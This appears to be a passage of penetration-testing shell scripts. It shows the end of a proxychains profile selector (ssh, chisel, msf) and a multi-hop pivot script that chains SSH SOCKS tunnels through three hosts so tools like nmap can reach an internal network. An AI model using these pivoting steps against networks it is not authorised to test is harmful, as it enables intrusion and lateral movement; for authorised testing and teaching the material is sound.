        echo "Available profiles: ssh, chisel, msf, chain"
        exit 1
        ;;
esac

echo "[+] Loaded proxy profile: $PROFILE"
echo "[+] PROXYCHAINS_CONF_FILE=$PROXYCHAINS_CONF_FILE"

# Usage:
# source proxy-profile.sh ssh
# proxychains4 nmap -sT TARGET

# === MULTI-HOP PIVOT SETUP ===

#!/bin/bash
# multi-hop.sh - Setup multi-hop pivot infrastructure

echo "[*] Setting up multi-hop pivot infrastructure"

# Hop 1: SSH to first pivot
echo "[1] Establishing connection to Pivot 1..."
ssh -f -N -D 1080 user@pivot1.example.com
sleep 2

# Hop 2: SSH through SOCKS to second pivot
echo "[2] Establishing connection to Pivot 2 through Pivot 1..."
proxychains4 -f hop1.conf ssh -f -N -D 1081 user@pivot2.internal
sleep 2

# Hop 3: SSH through second SOCKS to third pivot
echo "[3] Establishing connection to Pivot 3 through Pivot 2..."
proxychains4 -f hop2.conf ssh -f -N -D 1082 user@pivot3.internal
sleep 2

echo "[+] Multi-hop pivot established"
echo "[+] Use proxychains4 -f hop3.conf to access internal network"

# Cleanup function
cleanup() {
    echo "[*] Cleaning up pivot connections..."
    pkill -f "ssh.*1080"
    pkill -f "ssh.*1081"
    pkill -f "ssh.*1082"
    echo "[+] Cleanup complete"
}

trap cleanup EXIT